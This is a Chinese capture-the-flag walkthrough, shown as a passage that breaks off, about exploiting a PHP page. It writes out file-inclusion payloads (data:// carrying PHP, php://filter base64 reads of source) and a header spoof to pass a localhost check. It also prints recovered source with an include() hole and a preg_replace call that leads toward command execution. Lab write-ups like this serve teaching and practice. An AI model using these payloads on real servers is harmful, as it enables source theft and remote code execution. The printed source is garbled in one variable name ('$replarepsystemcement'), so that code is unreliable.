访问页面,似曾相识的页面,查看源代码,搜索php
,找到index.php
,访问index.php
看不出什么,继续访问index.php
的源代码获取到有用信息page=index
的传参
这应该是一个文件包含,尝试使用data://
协议进行命令执行
?page=data://text/plain,<?php phpinfo();?>
没有任何回显,可能是过滤了,接着使用最常用的文件包含php://filter
协议
?page=php://filter/read=convert.base64-encode/resource=index.php
包含成功,使用base64解析该源代码
echo -n "base64_content" | base64 -d > test.php
有两段重要的php代码,第一个是我们文件包含的条件语句
if (ctype_alnum($page)) {
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />
<?php
下面这个是我们需要命令执行
的php语句
/方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replarepsystemcement, $subject);
}else{
die();
}
}
上述中有一个危险函数preg_replace
.
让我们来了解一个preg_replace()
这个函数的用法:
preg_replace($pattern,$replacement,$subject)
看下方案例既可以明白